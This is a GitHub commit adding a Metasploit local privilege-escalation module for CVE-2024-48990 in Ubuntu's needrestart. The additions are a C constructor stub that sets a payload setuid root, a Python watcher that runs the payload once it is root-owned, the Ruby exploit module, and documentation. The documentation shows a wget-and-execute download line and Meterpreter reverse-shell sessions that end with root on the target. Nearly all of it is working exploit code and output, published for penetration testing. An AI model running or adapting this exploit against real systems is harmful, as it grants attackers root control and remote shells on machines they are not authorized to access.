-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #19676 from h00die/needrestart
Ubuntu needrestart LPE (CVE-2024-48990)
- Loading branch information
Showing
4 changed files
with
363 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
/* | ||
// system call | ||
#include <stdlib.h> | ||
// setuid, setgid | ||
#include <unistd.h> | ||
|
||
static void a() __attribute__((constructor)); | ||
|
||
void a() { | ||
setuid(0); | ||
setgid(0); | ||
const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &"; | ||
system(shell); | ||
} | ||
*/ | ||
|
||
extern int setuid(int); | ||
extern int setgid(int); | ||
extern int system(const char *__s); | ||
|
||
void a(void) __attribute__((constructor)); | ||
|
||
void __attribute__((constructor)) a() { | ||
setuid(0); | ||
setgid(0); | ||
system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'"); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
import os | ||
import time | ||
import pwd | ||
|
||
print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...") | ||
|
||
while True: | ||
try: | ||
file_stat = os.stat('PAYLOAD_PATH') | ||
except FileNotFoundError: | ||
exit() | ||
username = pwd.getpwuid(file_stat.st_uid).pw_name | ||
#print(f"Payload owned by: {username}. Stats: {file_stat}") | ||
if (username == 'root'): | ||
os.system('PAYLOAD_PATH &') | ||
exit() | ||
time.sleep(1) |
144 changes: 144 additions & 0 deletions
144
documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,144 @@ | ||
## Vulnerable Application | ||
|
||
Local attackers can execute arbitrary code as root by | ||
tricking needrestart into running the Python interpreter with an | ||
attacker-controlled PYTHONPATH environment variable. | ||
|
||
Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 | ||
|
||
Exploitation against vulnerable needrestart versions on | ||
Debian 12 and Fedora 39 were unsuccessful | ||
however install and run instructions are listed below. | ||
|
||
### Debian | ||
|
||
Install: `apt-get install needrestart=3.6-4+deb12u1` | ||
|
||
Binary location: `/usr/sbin/needrestart` | ||
|
||
### Fedora 39 | ||
|
||
Install: `dnf install needrestart-3.6-9.fc39.noarch` | ||
|
||
Binary location: `/usr/sbin/needrestart` | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
2. Start msfconsole | ||
3. Get an initial shell | ||
4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe` | ||
5. Do: `set lhost <ip>` | ||
6. Do: `set lport <port>` | ||
7. Do: `set session <session>` | ||
8. Do: `run` | ||
9. You should get a root shell. | ||
|
||
## Options | ||
|
||
### ListenerTimeout | ||
|
||
The maximum number of seconds to wait for session. Defaults to `90,000` which is 25hrs. | ||
|
||
## Scenarios | ||
|
||
### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 | ||
|
||
Gain initial shell | ||
|
||
``` | ||
msf6 > use exploit/multi/script/web_delivery | ||
998 | ||
run[*] Using configured payload python/meterpreter/reverse_tcp | ||
msf6 exploit(multi/script/web_delivery) > set target 7 | ||
target => 7 | ||
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp | ||
payload => linux/x64/meterpreter/reverse_tcp | ||
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1 | ||
lhost => 1.1.1.1 | ||
msf6 exploit(multi/script/web_delivery) > set lport 4998 | ||
lport => 4998 | ||
msf6 exploit(multi/script/web_delivery) > set srvport 8998 | ||
srvport => 8998 | ||
msf6 exploit(multi/script/web_delivery) > run | ||
[*] Exploit running as background job 0. | ||
[*] Exploit completed, but no session was created. | ||
msf6 exploit(multi/script/web_delivery) > | ||
[*] Started reverse TCP handler on 1.1.1.1:4998 | ||
[*] Using URL: http://1.1.1.1:8998/dKtdkMS | ||
[*] Server started. | ||
[*] Run the following command on the target machine: | ||
wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown | ||
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) | ||
[*] Sending stage (3045380 bytes) to 2.2.2.2 | ||
[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500 | ||
msf6 exploit(multi/script/web_delivery) > sessions -i 1 | ||
[*] Starting interaction with 1... | ||
meterpreter > getuid | ||
Server username: h00die | ||
meterpreter > background | ||
[*] Backgrounding session 1... | ||
``` | ||
|
||
Priv Esc | ||
|
||
``` | ||
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe | ||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp | ||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp | ||
payload => linux/x64/meterpreter/reverse_tcp | ||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1 | ||
lhost => 1.1.1.1 | ||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977 | ||
lport => 4977 | ||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1 | ||
session => 1 | ||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true | ||
verbose => true | ||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run | ||
[*] Started reverse TCP handler on 1.1.1.1:4977 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04 | ||
[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ... | ||
[*] Uploading payload: /tmp/.1K8Hy2tOtq | ||
[*] Creating directory /tmp/importlib | ||
[*] /tmp/importlib created | ||
[*] Uploading c_stub: /tmp/importlib/__init__.so | ||
[*] Uploading py_script: /tmp/.FzzlJ | ||
[*] Launching exploit, and waiting for needrestart to run... | ||
``` | ||
|
||
On the remote Ubuntu box run `sudo needrestart` | ||
|
||
``` | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 2.2.2.2 | ||
[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted | ||
[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth: | ||
[*] | ||
[*] Traceback (most recent call last): | ||
[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage | ||
[*] exec(line) | ||
[*] File "<string>", line 1, in <module> | ||
[*] ImportError: dynamic module does not define module export function (PyInit_importlib) | ||
[*] | ||
[*] Remainder of file ignored | ||
[*] ######################### | ||
[*] | ||
[*] Dont mind the error message above | ||
[*] | ||
[*] Waiting for needrestart to run... | ||
[*] Payload owned by: root | ||
[+] Deleted /tmp/.1K8Hy2tOtq | ||
[+] Deleted /tmp/.FzzlJ | ||
[+] Deleted /tmp/importlib | ||
[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500 | ||
meterpreter > | ||
meterpreter > getuid | ||
Server username: root | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,175 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = GreatRanking | ||
|
||
include Msf::Post::Linux::Priv | ||
include Msf::Post::Linux::System | ||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
include Msf::Post::Linux::Kernel | ||
include Msf::Exploit::FileDropper | ||
include Msf::Post::Linux::Compile | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Ubuntu needrestart Privilege Escalation', | ||
'Description' => %q{ | ||
Local attackers can execute arbitrary code as root by | ||
tricking needrestart into running the Python interpreter with an | ||
attacker-controlled PYTHONPATH environment variable. | ||
Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 | ||
Attempted exploitation against Debian 12, expliotation failed | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # msf module | ||
'makuga01', # PoC | ||
'qualys' # original advisory | ||
], | ||
'Platform' => [ 'linux' ], | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
'Stance' => Msf::Exploit::Stance::Passive, | ||
'Passive' => true, | ||
'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
'Targets' => [[ 'Auto', {} ]], | ||
'Privileged' => true, | ||
'References' => [ | ||
[ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'], | ||
[ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'], | ||
[ 'CVE', '2024-48990'] | ||
], | ||
'DisclosureDate' => '2024-11-19', | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
register_advanced_options [ | ||
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), | ||
OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for session', 90_000 ]) # 25hrs | ||
] | ||
end | ||
|
||
def base_dir | ||
datastore['WritableDir'].to_s | ||
end | ||
|
||
def check | ||
# fedora https://bodhi.fedoraproject.org/updates/FEDORA-2024-a9cf3dad4f | ||
# debian https://security-tracker.debian.org/tracker/CVE-2024-48990 | ||
fixed_versions = { | ||
'24.10' => Rex::Version.new('3.6-8ubuntu4.2'), | ||
'24.04' => Rex::Version.new('3.6-7ubuntu4.3'), | ||
'22.04' => Rex::Version.new('3.5-5ubuntu2.2'), | ||
'20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'), | ||
'18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'), | ||
'16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'), | ||
'12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm | ||
'11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye | ||
# may be more versions, but this felt good enough | ||
'38' => Rex::Version.new('3.8-1'), | ||
'39' => Rex::Version.new('3.8-1'), | ||
'40' => Rex::Version.new('3.8-1'), | ||
'41' => Rex::Version.new('3.8-1') | ||
} | ||
info = get_sysinfo | ||
return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro] | ||
|
||
if info[:distro] == 'ubuntu' | ||
version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info | ||
return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version | ||
elsif info[:distro] == 'debian' | ||
return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it') | ||
elsif info[:distro] == 'fedora' | ||
return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it') | ||
end | ||
|
||
return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart') | ||
|
||
package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') | ||
package = package.split(' ')[2] | ||
package = package.gsub('+', '.') | ||
# next line will need to be included if we want to support fedora | ||
# package = package.gsub('needrestart-', '') # fedora specific | ||
package = Rex::Version.new(package) | ||
return CheckCode::Safe('needrestart not install, or not detected.') if package == Rex::Version.new('0') # aka empty/nil | ||
|
||
return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version] | ||
|
||
CheckCode::Safe("needrestart version #{package} is not vulnerable on Ubuntu #{version}") | ||
end | ||
|
||
def exploit | ||
# Check if we're already root | ||
if !datastore['ForceExploit'] && is_root? | ||
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' | ||
end | ||
|
||
# Make sure we can write our exploit and payload to the local system | ||
unless writable? base_dir | ||
fail_with Failure::BadConfig, "#{base_dir} is not writable" | ||
end | ||
|
||
# upload payload | ||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" | ||
upload_and_chmodx payload_path, generate_payload_exe | ||
vprint_status("Uploading payload: #{payload_path}") | ||
register_files_for_cleanup(payload_path) | ||
|
||
# our c stub file does our chmod/chown/suid for the payload | ||
c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.metasm')) | ||
c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path) | ||
|
||
case kernel_arch | ||
when ARCH_X86 | ||
cpu = Metasm::Ia32.new | ||
when ARCH_X64 | ||
cpu = Metasm::X86_64.new | ||
else | ||
fail_with Failure::NoTarget, 'Target is not compatible' | ||
end | ||
|
||
begin | ||
c_stub = Metasm::ELF.compile_c(cpu, c_stub).encode_string(:lib) | ||
c_stub_path = "#{base_dir}/importlib/__init__.so" | ||
rescue StandardError | ||
print_error "Metasm encoding failed: #{$ERROR_INFO}" | ||
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" | ||
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" | ||
fail_with Failure::Unknown, 'Metasm encoding failed' | ||
end | ||
|
||
mkdir "#{base_dir}/importlib" | ||
write_file(c_stub_path, c_stub) | ||
vprint_status("Uploading c_stub: #{c_stub_path}") | ||
register_files_for_cleanup(c_stub_path) | ||
register_dir_for_cleanup("#{base_dir}/importlib") | ||
|
||
# the python script is needed for having the PYTHONPATH set and watches | ||
# for our payload to be modified, then run it | ||
py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py')) | ||
py_script = py_script.gsub('PAYLOAD_PATH', payload_path) | ||
|
||
py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" | ||
write_file py_stub_path, py_script | ||
vprint_status("Uploading py_script: #{py_stub_path}") | ||
register_files_for_cleanup(py_stub_path) | ||
|
||
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the | ||
# output from the exploit being run, they can optionally see it | ||
print_status 'Launching exploit, and waiting for needrestart to run...' | ||
output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, datastore['ListenerTimeout'] | ||
output.each_line { |line| vprint_status line.chomp } | ||
end | ||
end |